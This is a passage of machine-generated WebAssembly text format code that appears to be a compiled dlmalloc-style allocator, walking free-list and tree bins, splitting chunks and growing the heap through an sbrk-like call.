(block $B9
(block $B10
(block $B11
(br_if $B11
(i32.gt_u
(local.get $p0)
(i32.const 244)))
(block $B12
(br_if $B12
(i32.eqz
(i32.and
(local.tee $p0
(i32.shr_u
(local.tee $l2
(i32.load offset=5372
(i32.const 0)))
(local.tee $l4
(i32.shr_u
(local.tee $l3
(select
(i32.const 16)
(i32.and
(i32.add
(local.get $p0)
(i32.const 11))
(i32.const -8))
(i32.lt_u
(local.get $p0)
(i32.const 11))))
(i32.const 3)))))
(i32.const 3))))
(local.set $p0
(i32.add
(local.tee $l4
(i32.load
(i32.add
(local.tee $l5
(i32.shl
(local.tee $l3
(i32.add
(i32.and
(i32.xor
(local.get $p0)
(i32.const -1))
(i32.const 1))
(local.get $l4)))
(i32.const 3)))
(i32.const 5420))))
(i32.const 8)))
(block $B13
(block $B14
(br_if $B14
(i32.ne
(local.tee $l6
(i32.load offset=8
(local.get $l4)))
(local.tee $l5
(i32.add
(local.get $l5)
(i32.const 5412)))))
(i32.store offset=5372
(i32.const 0)
(i32.and
(local.get $l2)
(i32.rotl
(i32.const -2)
(local.get $l3))))
(br $B13))
(i32.store offset=12
(local.get $l6)
(local.get $l5))
(i32.store offset=8
(local.get $l5)
(local.get $l6)))
(i32.store offset=4
(local.get $l4)
(i32.or
(local.tee $l3
(i32.shl
(local.get $l3)
(i32.const 3)))
(i32.const 3)))
(i32.store offset=4
(local.tee $l4
(i32.add
(local.get $l4)
(local.get $l3)))
(i32.or
(i32.load offset=4
(local.get $l4))
(i32.const 1)))
(br $B0))
(br_if $B10
(i32.le_u
(local.get $l3)
(local.tee $l7
(i32.load offset=5380
(i32.const 0)))))
(block $B15
(br_if $B15
(i32.eqz
(local.get $p0)))
(block $B16
(block $B17
(br_if $B17
(i32.ne
(local.tee $p0
(i32.load offset=8
(local.tee $l4
(i32.load
(i32.add
(local.tee $l5
(i32.shl
(local.tee $l6
(i32.add
(i32.or
(i32.or
(i32.or
(i32.or
(local.tee $l6
(i32.and
(i32.shr_u
(local.tee $l4
(i32.shr_u
(local.tee $p0
(i32.add
(i32.and
(local.tee $p0
(i32.and
(i32.shl
(local.get $p0)
(local.get $l4))
(i32.or
(local.tee $p0
(i32.shl
(i32.const 2)
(local.get $l4)))
(i32.sub
(i32.const 0)
(local.get $p0)))))
(i32.sub
(i32.const 0)
(local.get $p0)))
(i32.const -1)))
(local.tee $p0
(i32.and
(i32.shr_u
(local.get $p0)
(i32.const 12))
(i32.const 16)))))
(i32.const 5))
(i32.const 8)))
(local.get $p0))
(local.tee $l4
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $l4)
(local.get $l6)))
(i32.const 2))
(i32.const 4))))
(local.tee $l4
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $p0)
(local.get $l4)))
(i32.const 1))
(i32.const 2))))
(local.tee $l4
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $p0)
(local.get $l4)))
(i32.const 1))
(i32.const 1))))
(i32.shr_u
(local.get $p0)
(local.get $l4))))
(i32.const 3)))
(i32.const 5420))))))
(local.tee $l5
(i32.add
(local.get $l5)
(i32.const 5412)))))
(i32.store offset=5372
(i32.const 0)
(local.tee $l2
(i32.and
(local.get $l2)
(i32.rotl
(i32.const -2)
(local.get $l6)))))
(br $B16))
(i32.store offset=12
(local.get $p0)
(local.get $l5))
(i32.store offset=8
(local.get $l5)
(local.get $p0)))
(local.set $p0
(i32.add
(local.get $l4)
(i32.const 8)))
(i32.store offset=4
(local.get $l4)
(i32.or
(local.get $l3)
(i32.const 3)))
(i32.store offset=4
(local.tee $l5
(i32.add
(local.get $l4)
(local.get $l3)))
(i32.or
(local.tee $l3
(i32.sub
(local.tee $l6
(i32.shl
(local.get $l6)
(i32.const 3)))
(local.get $l3)))
(i32.const 1)))
(i32.store
(i32.add
(local.get $l4)
(local.get $l6))
(local.get $l3))
(block $B18
(br_if $B18
(i32.eqz
(local.get $l7)))
(local.set $l6
(i32.add
(i32.shl
(local.tee $l8
(i32.shr_u
(local.get $l7)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(local.set $l4
(i32.load offset=5392
(i32.const 0)))
(block $B19
(block $B20
(br_if $B20
(i32.and
(local.get $l2)
(local.tee $l8
(i32.shl
(i32.const 1)
(local.get $l8)))))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l2)
(local.get $l8)))
(local.set $l8
(local.get $l6))
(br $B19))
(local.set $l8
(i32.load offset=8
(local.get $l6))))
(i32.store offset=8
(local.get $l6)
(local.get $l4))
(i32.store offset=12
(local.get $l8)
(local.get $l4))
(i32.store offset=12
(local.get $l4)
(local.get $l6))
(i32.store offset=8
(local.get $l4)
(local.get $l8)))
(i32.store offset=5392
(i32.const 0)
(local.get $l5))
(i32.store offset=5380
(i32.const 0)
(local.get $l3))
(br $B0))
(br_if $B10
(i32.eqz
(local.tee $l9
(i32.load offset=5376
(i32.const 0)))))
(local.set $l4
(i32.sub
(i32.and
(i32.load offset=4
(local.tee $l5
(i32.load
(i32.add
(i32.shl
(i32.add
(i32.or
(i32.or
(i32.or
(i32.or
(local.tee $l6
(i32.and
(i32.shr_u
(local.tee $l4
(i32.shr_u
(local.tee $p0
(i32.add
(i32.and
(local.get $l9)
(i32.sub
(i32.const 0)
(local.get $l9)))
(i32.const -1)))
(local.tee $p0
(i32.and
(i32.shr_u
(local.get $p0)
(i32.const 12))
(i32.const 16)))))
(i32.const 5))
(i32.const 8)))
(local.get $p0))
(local.tee $l4
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $l4)
(local.get $l6)))
(i32.const 2))
(i32.const 4))))
(local.tee $l4
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $p0)
(local.get $l4)))
(i32.const 1))
(i32.const 2))))
(local.tee $l4
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $p0)
(local.get $l4)))
(i32.const 1))
(i32.const 1))))
(i32.shr_u
(local.get $p0)
(local.get $l4)))
(i32.const 2))
(i32.const 5676)))))
(i32.const -8))
(local.get $l3)))
(local.set $l6
(local.get $l5))
(block $B21
(loop $L22
(block $B23
(br_if $B23
(local.tee $p0
(i32.load offset=16
(local.get $l6))))
(br_if $B21
(i32.eqz
(local.tee $p0
(i32.load
(i32.add
(local.get $l6)
(i32.const 20)))))))
(local.set $l4
(select
(local.tee $l6
(i32.sub
(i32.and
(i32.load offset=4
(local.get $p0))
(i32.const -8))
(local.get $l3)))
(local.get $l4)
(local.tee $l6
(i32.lt_u
(local.get $l6)
(local.get $l4)))))
(local.set $l5
(select
(local.get $p0)
(local.get $l5)
(local.get $l6)))
(local.set $l6
(local.get $p0))
(br $L22))
(unreachable))
(local.set $l10
(i32.load offset=24
(local.get $l5)))
(block $B24
(br_if $B24
(i32.eq
(local.tee $l8
(i32.load offset=12
(local.get $l5)))
(local.get $l5)))
(drop
(i32.gt_u
(i32.load offset=5388
(i32.const 0))
(local.tee $p0
(i32.load offset=8
(local.get $l5)))))
(i32.store offset=12
(local.get $p0)
(local.get $l8))
(i32.store offset=8
(local.get $l8)
(local.get $p0))
(br $B1))
(block $B25
(br_if $B25
(local.tee $p0
(i32.load
(local.tee $l6
(i32.add
(local.get $l5)
(i32.const 20))))))
(br_if $B9
(i32.eqz
(local.tee $p0
(i32.load offset=16
(local.get $l5)))))
(local.set $l6
(i32.add
(local.get $l5)
(i32.const 16))))
(loop $L26
(local.set $l11
(local.get $l6))
(br_if $L26
(local.tee $p0
(i32.load
(local.tee $l6
(i32.add
(local.tee $l8
(local.get $p0))
(i32.const 20))))))
(local.set $l6
(i32.add
(local.get $l8)
(i32.const 16)))
(br_if $L26
(local.tee $p0
(i32.load offset=16
(local.get $l8)))))
(i32.store
(local.get $l11)
(i32.const 0))
(br $B1))
(local.set $l3
(i32.const -1))
(br_if $B10
(i32.gt_u
(local.get $p0)
(i32.const -65)))
(local.set $l3
(i32.and
(local.tee $p0
(i32.add
(local.get $p0)
(i32.const 11)))
(i32.const -8)))
(br_if $B10
(i32.eqz
(local.tee $l9
(i32.load offset=5376
(i32.const 0)))))
(local.set $l7
(i32.const 0))
(block $B27
(br_if $B27
(i32.lt_u
(local.get $l3)
(i32.const 256)))
(local.set $l7
(i32.const 31))
(br_if $B27
(i32.gt_u
(local.get $l3)
(i32.const 16777215)))
(local.set $l7
(i32.add
(i32.or
(i32.shl
(local.tee $p0
(i32.sub
(i32.shr_u
(i32.shl
(local.tee $l6
(i32.shl
(local.tee $l4
(i32.shl
(local.tee $p0
(i32.shr_u
(local.get $p0)
(i32.const 8)))
(local.tee $p0
(i32.and
(i32.shr_u
(i32.add
(local.get $p0)
(i32.const 1048320))
(i32.const 16))
(i32.const 8)))))
(local.tee $l4
(i32.and
(i32.shr_u
(i32.add
(local.get $l4)
(i32.const 520192))
(i32.const 16))
(i32.const 4)))))
(local.tee $l6
(i32.and
(i32.shr_u
(i32.add
(local.get $l6)
(i32.const 245760))
(i32.const 16))
(i32.const 2))))
(i32.const 15))
(i32.or
(i32.or
(local.get $p0)
(local.get $l4))
(local.get $l6))))
(i32.const 1))
(i32.and
(i32.shr_u
(local.get $l3)
(i32.add
(local.get $p0)
(i32.const 21)))
(i32.const 1)))
(i32.const 28))))
(local.set $l4
(i32.sub
(i32.const 0)
(local.get $l3)))
(block $B28
(block $B29
(block $B30
(block $B31
(br_if $B31
(local.tee $l6
(i32.load
(i32.add
(i32.shl
(local.get $l7)
(i32.const 2))
(i32.const 5676)))))
(local.set $p0
(i32.const 0))
(local.set $l8
(i32.const 0))
(br $B30))
(local.set $p0
(i32.const 0))
(local.set $l5
(i32.shl
(local.get $l3)
(select
(i32.const 0)
(i32.sub
(i32.const 25)
(i32.shr_u
(local.get $l7)
(i32.const 1)))
(i32.eq
(local.get $l7)
(i32.const 31)))))
(local.set $l8
(i32.const 0))
(loop $L32
(block $B33
(br_if $B33
(i32.ge_u
(local.tee $l11
(i32.sub
(local.tee $l2
(i32.and
(i32.load offset=4
(local.get $l6))
(i32.const -8)))
(local.get $l3)))
(local.get $l4)))
(local.set $l4
(local.get $l11))
(local.set $l8
(local.get $l6))
(br_if $B33
(i32.ne
(local.get $l2)
(local.get $l3)))
(local.set $l4
(i32.const 0))
(local.set $l8
(local.get $l6))
(local.set $p0
(local.get $l6))
(br $B29))
(local.set $p0
(select
(select
(local.get $p0)
(local.tee $l2
(i32.load
(i32.add
(local.get $l6)
(i32.const 20))))
(i32.eq
(local.get $l2)
(local.tee $l6
(i32.load
(i32.add
(i32.add
(local.get $l6)
(i32.and
(i32.shr_u
(local.get $l5)
(i32.const 29))
(i32.const 4)))
(i32.const 16))))))
(local.get $p0)
(local.get $l2)))
(local.set $l5
(i32.shl
(local.get $l5)
(i32.const 1)))
(br_if $L32
(local.get $l6))))
(block $B34
(br_if $B34
(i32.or
(local.get $p0)
(local.get $l8)))
(local.set $l8
(i32.const 0))
(br_if $B10
(i32.eqz
(local.tee $p0
(i32.and
(i32.or
(local.tee $p0
(i32.shl
(i32.const 2)
(local.get $l7)))
(i32.sub
(i32.const 0)
(local.get $p0)))
(local.get $l9)))))
(local.set $p0
(i32.load
(i32.add
(i32.shl
(i32.add
(i32.or
(i32.or
(i32.or
(i32.or
(local.tee $l5
(i32.and
(i32.shr_u
(local.tee $l6
(i32.shr_u
(local.tee $p0
(i32.add
(i32.and
(local.get $p0)
(i32.sub
(i32.const 0)
(local.get $p0)))
(i32.const -1)))
(local.tee $p0
(i32.and
(i32.shr_u
(local.get $p0)
(i32.const 12))
(i32.const 16)))))
(i32.const 5))
(i32.const 8)))
(local.get $p0))
(local.tee $l6
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $l6)
(local.get $l5)))
(i32.const 2))
(i32.const 4))))
(local.tee $l6
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $p0)
(local.get $l6)))
(i32.const 1))
(i32.const 2))))
(local.tee $l6
(i32.and
(i32.shr_u
(local.tee $p0
(i32.shr_u
(local.get $p0)
(local.get $l6)))
(i32.const 1))
(i32.const 1))))
(i32.shr_u
(local.get $p0)
(local.get $l6)))
(i32.const 2))
(i32.const 5676)))))
(br_if $B28
(i32.eqz
(local.get $p0))))
(loop $L35
(local.set $l5
(i32.lt_u
(local.tee $l2
(i32.sub
(i32.and
(i32.load offset=4
(local.get $p0))
(i32.const -8))
(local.get $l3)))
(local.get $l4)))
(block $B36
(br_if $B36
(local.tee $l6
(i32.load offset=16
(local.get $p0))))
(local.set $l6
(i32.load
(i32.add
(local.get $p0)
(i32.const 20)))))
(local.set $l4
(select
(local.get $l2)
(local.get $l4)
(local.get $l5)))
(local.set $l8
(select
(local.get $p0)
(local.get $l8)
(local.get $l5)))
(local.set $p0
(local.get $l6))
(br_if $L35
(local.get $l6))))
(br_if $B10
(i32.eqz
(local.get $l8)))
(br_if $B10
(i32.ge_u
(local.get $l4)
(i32.sub
(i32.load offset=5380
(i32.const 0))
(local.get $l3))))
(local.set $l11
(i32.load offset=24
(local.get $l8)))
(block $B37
(br_if $B37
(i32.eq
(local.tee $l5
(i32.load offset=12
(local.get $l8)))
(local.get $l8)))
(drop
(i32.gt_u
(i32.load offset=5388
(i32.const 0))
(local.tee $p0
(i32.load offset=8
(local.get $l8)))))
(i32.store offset=12
(local.get $p0)
(local.get $l5))
(i32.store offset=8
(local.get $l5)
(local.get $p0))
(br $B2))
(block $B38
(br_if $B38
(local.tee $p0
(i32.load
(local.tee $l6
(i32.add
(local.get $l8)
(i32.const 20))))))
(br_if $B8
(i32.eqz
(local.tee $p0
(i32.load offset=16
(local.get $l8)))))
(local.set $l6
(i32.add
(local.get $l8)
(i32.const 16))))
(loop $L39
(local.set $l2
(local.get $l6))
(br_if $L39
(local.tee $p0
(i32.load
(local.tee $l6
(i32.add
(local.tee $l5
(local.get $p0))
(i32.const 20))))))
(local.set $l6
(i32.add
(local.get $l5)
(i32.const 16)))
(br_if $L39
(local.tee $p0
(i32.load offset=16
(local.get $l5)))))
(i32.store
(local.get $l2)
(i32.const 0))
(br $B2))
(block $B40
(br_if $B40
(i32.lt_u
(local.tee $p0
(i32.load offset=5380
(i32.const 0)))
(local.get $l3)))
(local.set $l4
(i32.load offset=5392
(i32.const 0)))
(block $B41
(block $B42
(br_if $B42
(i32.lt_u
(local.tee $l6
(i32.sub
(local.get $p0)
(local.get $l3)))
(i32.const 16)))
(i32.store offset=5380
(i32.const 0)
(local.get $l6))
(i32.store offset=5392
(i32.const 0)
(local.tee $l5
(i32.add
(local.get $l4)
(local.get $l3))))
(i32.store offset=4
(local.get $l5)
(i32.or
(local.get $l6)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l4)
(local.get $p0))
(local.get $l6))
(i32.store offset=4
(local.get $l4)
(i32.or
(local.get $l3)
(i32.const 3)))
(br $B41))
(i32.store offset=5392
(i32.const 0)
(i32.const 0))
(i32.store offset=5380
(i32.const 0)
(i32.const 0))
(i32.store offset=4
(local.get $l4)
(i32.or
(local.get $p0)
(i32.const 3)))
(i32.store offset=4
(local.tee $p0
(i32.add
(local.get $l4)
(local.get $p0)))
(i32.or
(i32.load offset=4
(local.get $p0))
(i32.const 1))))
(local.set $p0
(i32.add
(local.get $l4)
(i32.const 8)))
(br $B0))
(block $B43
(br_if $B43
(i32.le_u
(local.tee $l5
(i32.load offset=5384
(i32.const 0)))
(local.get $l3)))
(i32.store offset=5384
(i32.const 0)
(local.tee $l4
(i32.sub
(local.get $l5)
(local.get $l3))))
(i32.store offset=5396
(i32.const 0)
(local.tee $l6
(i32.add
(local.tee $p0
(i32.load offset=5396
(i32.const 0)))
(local.get $l3))))
(i32.store offset=4
(local.get $l6)
(i32.or
(local.get $l4)
(i32.const 1)))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $l3)
(i32.const 3)))
(local.set $p0
(i32.add
(local.get $p0)
(i32.const 8)))
(br $B0))
(block $B44
(block $B45
(br_if $B45
(i32.eqz
(i32.load offset=5844
(i32.const 0))))
(local.set $l4
(i32.load offset=5852
(i32.const 0)))
(br $B44))
(i64.store offset=5856 align=4
(i32.const 0)
(i64.const -1))
(i64.store offset=5848 align=4
(i32.const 0)
(i64.const 17592186048512))
(i32.store offset=5844
(i32.const 0)
(i32.xor
(i32.and
(i32.add
(local.get $l1)
(i32.const 12))
(i32.const -16))
(i32.const 1431655768)))
(i32.store offset=5864
(i32.const 0)
(i32.const 0))
(i32.store offset=5816
(i32.const 0)
(i32.const 0))
(local.set $l4
(i32.const 4096)))
(local.set $p0
(i32.const 0))
(br_if $B0
(i32.le_u
(local.tee $l8
(i32.and
(local.tee $l2
(i32.add
(local.get $l4)
(local.tee $l7
(i32.add
(local.get $l3)
(i32.const 47)))))
(local.tee $l11
(i32.sub
(i32.const 0)
(local.get $l4)))))
(local.get $l3)))
(local.set $p0
(i32.const 0))
(block $B46
(br_if $B46
(i32.eqz
(local.tee $l4
(i32.load offset=5812
(i32.const 0)))))
(br_if $B0
(i32.le_u
(local.tee $l9
(i32.add
(local.tee $l6
(i32.load offset=5804
(i32.const 0)))
(local.get $l8)))
(local.get $l6)))
(br_if $B0
(i32.gt_u
(local.get $l9)
(local.get $l4))))
(br_if $B5
(i32.and
(i32.load8_u offset=5816
(i32.const 0))
(i32.const 4)))
(block $B47
(block $B48
(block $B49
(br_if $B49
(i32.eqz
(local.tee $l4
(i32.load offset=5396
(i32.const 0)))))
(local.set $p0
(i32.const 5820))
(loop $L50
(block $B51
(br_if $B51
(i32.gt_u
(local.tee $l6
(i32.load
(local.get $p0)))
(local.get $l4)))
(br_if $B48
(i32.gt_u
(i32.add
(local.get $l6)
(i32.load offset=4
(local.get $p0)))
(local.get $l4))))
(br_if $L50
(local.tee $p0
(i32.load offset=8
(local.get $p0))))))
(br_if $B6
(i32.eq
(local.tee $l5
(call $f98
(i32.const 0)))
(i32.const -1)))
(local.set $l2
(local.get $l8))
(block $B52
(br_if $B52
(i32.eqz
(i32.and
(local.tee $l4
(i32.add
(local.tee $p0
(i32.load offset=5848
(i32.const 0)))
(i32.const -1)))
(local.get $l5))))
(local.set $l2
(i32.add
(i32.sub
(local.get $l8)
(local.get $l5))
(i32.and
(i32.add
(local.get $l4)
(local.get $l5))
(i32.sub
(i32.const 0)
(local.get $p0))))))
(br_if $B6
(i32.le_u
(local.get $l2)
(local.get $l3)))
(br_if $B6
(i32.gt_u
(local.get $l2)
(i32.const 2147483646)))
(block $B53
(br_if $B53
(i32.eqz
(local.tee $p0
(i32.load offset=5812
(i32.const 0)))))
(br_if $B6
(i32.le_u
(local.tee $l6
(i32.add
(local.tee $l4
(i32.load offset=5804
(i32.const 0)))
(local.get $l2)))
(local.get $l4)))
(br_if $B6
(i32.gt_u
(local.get $l6)
(local.get $p0))))
(br_if $B47
(i32.ne
(local.tee $p0
(call $f98
(local.get $l2)))
(local.get $l5)))
(br $B4))
(br_if $B6
(i32.gt_u
(local.tee $l2
(i32.and
(i32.sub
(local.get $l2)
(local.get $l5))
(local.get $l11)))
(i32.const 2147483646)))
(br_if $B7
(i32.eq
(local.tee $l5
(call $f98
(local.get $l2)))
(i32.add
(i32.load
(local.get $p0))
(i32.load offset=4
(local.get $p0)))))
(local.set $p0
(local.get $l5)))
(block $B54
(br_if $B54
(i32.eq
(local.get $p0)
(i32.const -1)))
(br_if $B54
(i32.le_u
(i32.add
(local.get $l3)
(i32.const 48))
(local.get $l2)))
(block $B55
(br_if $B55
(i32.le_u
(local.tee $l4
(i32.and
(i32.add
(i32.sub
(local.get $l7)
(local.get $l2))
(local.tee $l4
(i32.load offset=5852
(i32.const 0))))
(i32.sub
(i32.const 0)
(local.get $l4))))
(i32.const 2147483646)))
(local.set $l5
(local.get $p0))
(br $B4))
(block $B56
(br_if $B56
(i32.eq
(call $f98
(local.get $l4))
(i32.const -1)))
(local.set $l2
(i32.add
(local.get $l4)
(local.get $l2)))
(local.set $l5
(local.get $p0))
(br $B4))
(drop
(call $f98
(i32.sub
(i32.const 0)
(local.get $l2))))
(br $B6))
(local.set $l5
(local.get $p0))
(br_if $B4
(i32.ne
(local.get $p0)
(i32.const -1)))
(br $B6))
(local.set $l8
(i32.const 0))
(br $B1))
(local.set $l5
(i32.const 0))
(br $B2))
(br_if $B4
(i32.ne
(local.get $l5)
(i32.const -1))))
(i32.store offset=5816
(i32.const 0)
(i32.or
(i32.load offset=5816
(i32.const 0))
(i32.const 4))))
(br_if $B3
(i32.gt_u
(local.get $l8)
(i32.const 2147483646)))
(local.set $l5
(call $f98
(local.get $l8)))
(local.set $p0
(call $f98
(i32.const 0)))
(br_if $B3
(i32.eq
(local.get $l5)
(i32.const -1)))
(br_if $B3
(i32.eq
(local.get $p0)
(i32.const -1)))
(br_if $B3
(i32.ge_u
(local.get $l5)
(local.get $p0)))
(br_if $B3
(i32.le_u
(local.tee $l2
(i32.sub
(local.get $p0)
(local.get $l5)))
(i32.add
(local.get $l3)
(i32.const 40)))))
(i32.store offset=5804
(i32.const 0)
(local.tee $p0
(i32.add
(i32.load offset=5804
(i32.const 0))
(local.get $l2))))
(block $B57
(br_if $B57
(i32.le_u
(local.get $p0)
(i32.load offset=5808
(i32.const 0))))
(i32.store offset=5808
(i32.const 0)
(local.get $p0)))
(block $B58
(block $B59
(block $B60
(block $B61
(br_if $B61
(i32.eqz
(local.tee $l4
(i32.load offset=5396
(i32.const 0)))))
(local.set $p0
(i32.const 5820))
(loop $L62
(br_if $B60
(i32.eq
(local.get $l5)
(i32.add
(local.tee $l6
(i32.load
(local.get $p0)))
(local.tee $l8
(i32.load offset=4
(local.get $p0))))))
(br_if $L62
(local.tee $p0
(i32.load offset=8
(local.get $p0))))
(br $B59))
(unreachable))
(block $B63
(block $B64
(br_if $B64
(i32.eqz
(local.tee $p0
(i32.load offset=5388
(i32.const 0)))))
(br_if $B63
(i32.ge_u
(local.get $l5)
(local.get $p0))))
(i32.store offset=5388
(i32.const 0)
(local.get $l5)))
(local.set $p0
(i32.const 0))
(i32.store offset=5824
(i32.const 0)
(local.get $l2))
(i32.store offset=5820
(i32.const 0)
(local.get $l5))
(i32.store offset=5404
(i32.const 0)
(i32.const -1))
(i32.store offset=5408
(i32.const 0)
(i32.load offset=5844
(i32.const 0)))
(i32.store offset=5832
(i32.const 0)
(i32.const 0))
(loop $L65
(i32.store
(i32.add
(local.tee $l4
(i32.shl
(local.get $p0)
(i32.const 3)))
(i32.const 5420))
(local.tee $l6
(i32.add
(local.get $l4)
(i32.const 5412))))
(i32.store
(i32.add
(local.get $l4)
(i32.const 5424))
(local.get $l6))
(br_if $L65
(i32.ne
(local.tee $p0
(i32.add
(local.get $p0)
(i32.const 1)))
(i32.const 32))))
(i32.store offset=5384
(i32.const 0)
(local.tee $l6
(i32.sub
(local.tee $p0
(i32.add
(local.get $l2)
(i32.const -40)))
(local.tee $l4
(select
(i32.and
(i32.sub
(i32.const -8)
(local.get $l5))
(i32.const 7))
(i32.const 0)
(i32.and
(i32.add
(local.get $l5)
(i32.const 8))
(i32.const 7)))))))
(i32.store offset=5396
(i32.const 0)
(local.tee $l4
(i32.add
(local.get $l5)
(local.get $l4))))
(i32.store offset=4
(local.get $l4)
(i32.or
(local.get $l6)
(i32.const 1)))
(i32.store offset=4
(i32.add
(local.get $l5)
(local.get $p0))
(i32.const 40))
(i32.store offset=5400
(i32.const 0)
(i32.load offset=5860
(i32.const 0)))
(br $B58))
(br_if $B59
(i32.and
(i32.load8_u offset=12
(local.get $p0))
(i32.const 8)))
(br_if $B59
(i32.gt_u
(local.get $l6)
(local.get $l4)))
(br_if $B59
(i32.le_u
(local.get $l5)
(local.get $l4)))
(i32.store offset=4
(local.get $p0)
(i32.add
(local.get $l8)
(local.get $l2)))
(i32.store offset=5396
(i32.const 0)
(local.tee $l6
(i32.add
(local.get $l4)
(local.tee $p0
(select
(i32.and
(i32.sub
(i32.const -8)
(local.get $l4))
(i32.const 7))
(i32.const 0)
(i32.and
(i32.add
(local.get $l4)
(i32.const 8))
(i32.const 7)))))))
(i32.store offset=5384
(i32.const 0)
(local.tee $p0
(i32.sub
(local.tee $l5
(i32.add
(i32.load offset=5384
(i32.const 0))
(local.get $l2)))
(local.get $p0))))
(i32.store offset=4
(local.get $l6)
(i32.or
(local.get $p0)
(i32.const 1)))
(i32.store offset=4
(i32.add
(local.get $l4)
(local.get $l5))
(i32.const 40))
(i32.store offset=5400
(i32.const 0)
(i32.load offset=5860
(i32.const 0)))
(br $B58))
(block $B66
(br_if $B66
(i32.ge_u
(local.get $l5)
(local.tee $l8
(i32.load offset=5388
(i32.const 0)))))
(i32.store offset=5388
(i32.const 0)
(local.get $l5))
(local.set $l8
(local.get $l5)))
(local.set $l6
(i32.add
(local.get $l5)
(local.get $l2)))
(local.set $p0
(i32.const 5820))
(block $B67
(block $B68
(block $B69
(block $B70
(block $B71
(block $B72
(block $B73
(loop $L74
(br_if $B73
(i32.eq
(i32.load
(local.get $p0))
(local.get $l6)))
(br_if $L74
(local.tee $p0
(i32.load offset=8
(local.get $p0))))
(br $B72))
(unreachable))
(br_if $B71
(i32.eqz
(i32.and
(i32.load8_u offset=12
(local.get $p0))
(i32.const 8)))))
(local.set $p0
(i32.const 5820))
(loop $L75
(block $B76
(br_if $B76
(i32.gt_u
(local.tee $l6
(i32.load
(local.get $p0)))
(local.get $l4)))
(br_if $B70
(i32.gt_u
(local.tee $l6
(i32.add
(local.get $l6)
(i32.load offset=4
(local.get $p0))))
(local.get $l4))))
(local.set $p0
(i32.load offset=8
(local.get $p0)))
(br $L75))
(unreachable))
(i32.store
(local.get $p0)
(local.get $l5))
(i32.store offset=4
(local.get $p0)
(i32.add
(i32.load offset=4
(local.get $p0))
(local.get $l2)))
(i32.store offset=4
(local.tee $l11
(i32.add
(local.get $l5)
(select
(i32.and
(i32.sub
(i32.const -8)
(local.get $l5))
(i32.const 7))
(i32.const 0)
(i32.and
(i32.add
(local.get $l5)
(i32.const 8))
(i32.const 7)))))
(i32.or
(local.get $l3)
(i32.const 3)))
(local.set $l3
(i32.sub
(local.tee $l2
(i32.add
(local.get $l6)
(select
(i32.and
(i32.sub
(i32.const -8)
(local.get $l6))
(i32.const 7))
(i32.const 0)
(i32.and
(i32.add
(local.get $l6)
(i32.const 8))
(i32.const 7)))))
(local.tee $l6
(i32.add
(local.get $l11)
(local.get $l3)))))
(block $B77
(br_if $B77
(i32.ne
(local.get $l4)
(local.get $l2)))
(i32.store offset=5396
(i32.const 0)
(local.get $l6))
(i32.store offset=5384
(i32.const 0)
(local.tee $p0
(i32.add
(i32.load offset=5384
(i32.const 0))
(local.get $l3))))
(i32.store offset=4
(local.get $l6)
(i32.or
(local.get $p0)
(i32.const 1)))
(br $B68))
(block $B78
(br_if $B78
(i32.ne
(i32.load offset=5392
(i32.const 0))
(local.get $l2)))
(i32.store offset=5392
(i32.const 0)
(local.get $l6))
(i32.store offset=5380
(i32.const 0)
(local.tee $p0
(i32.add
(i32.load offset=5380
(i32.const 0))
(local.get $l3))))
(i32.store offset=4
(local.get $l6)
(i32.or
(local.get $p0)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l6)
(local.get $p0))
(local.get $p0))
(br $B68))
(block $B79
(br_if $B79
(i32.ne
(i32.and
(local.tee $p0
(i32.load offset=4
(local.get $l2)))
(i32.const 3))
(i32.const 1)))
(local.set $l7
(i32.and
(local.get $p0)
(i32.const -8)))
(block $B80
(block $B81
(br_if $B81
(i32.gt_u
(local.get $p0)
(i32.const 255)))
(drop
(i32.eq
(local.tee $l4
(i32.load offset=8
(local.get $l2)))
(local.tee $l5
(i32.add
(i32.shl
(local.tee $l8
(i32.shr_u
(local.get $p0)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))))
(block $B82
(br_if $B82
(i32.ne
(local.tee $p0
(i32.load offset=12
(local.get $l2)))
(local.get $l4)))
(i32.store offset=5372
(i32.const 0)
(i32.and
(i32.load offset=5372
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l8))))
(br $B80))
(drop
(i32.eq
(local.get $p0)
(local.get $l5)))
(i32.store offset=12
(local.get $l4)
(local.get $p0))
(i32.store offset=8
(local.get $p0)
(local.get $l4))
(br $B80))
(local.set $l9
(i32.load offset=24
(local.get $l2)))
(block $B83
(block $B84
(br_if $B84
(i32.eq
(local.tee $l5
(i32.load offset=12
(local.get $l2)))
(local.get $l2)))
(drop
(i32.gt_u
(local.get $l8)
(local.tee $p0
(i32.load offset=8
(local.get $l2)))))
(i32.store offset=12
(local.get $p0)
(local.get $l5))
(i32.store offset=8
(local.get $l5)
(local.get $p0))
(br $B83))
(block $B85
(br_if $B85
(local.tee $l4
(i32.load
(local.tee $p0
(i32.add
(local.get $l2)
(i32.const 20))))))
(br_if $B85
(local.tee $l4
(i32.load
(local.tee $p0
(i32.add
(local.get $l2)
(i32.const 16))))))
(local.set $l5
(i32.const 0))
(br $B83))
(loop $L86
(local.set $l8
(local.get $p0))
(br_if $L86
(local.tee $l4
(i32.load
(local.tee $p0
(i32.add
(local.tee $l5
(local.get $l4))
(i32.const 20))))))
(local.set $p0
(i32.add
(local.get $l5)
(i32.const 16)))
(br_if $L86
(local.tee $l4
(i32.load offset=16
(local.get $l5)))))
(i32.store
(local.get $l8)
(i32.const 0)))
(br_if $B80
(i32.eqz
(local.get $l9)))
(block $B87
(block $B88
(br_if $B88
(i32.ne
(i32.load
(local.tee $p0
(i32.add
(i32.shl
(local.tee $l4
(i32.load offset=28
(local.get $l2)))
(i32.const 2))
(i32.const 5676))))
(local.get $l2)))
(i32.store
(local.get $p0)
(local.get $l5))
(br_if $B87
(local.get $l5))
(i32.store offset=5376
(i32.const 0)
(i32.and
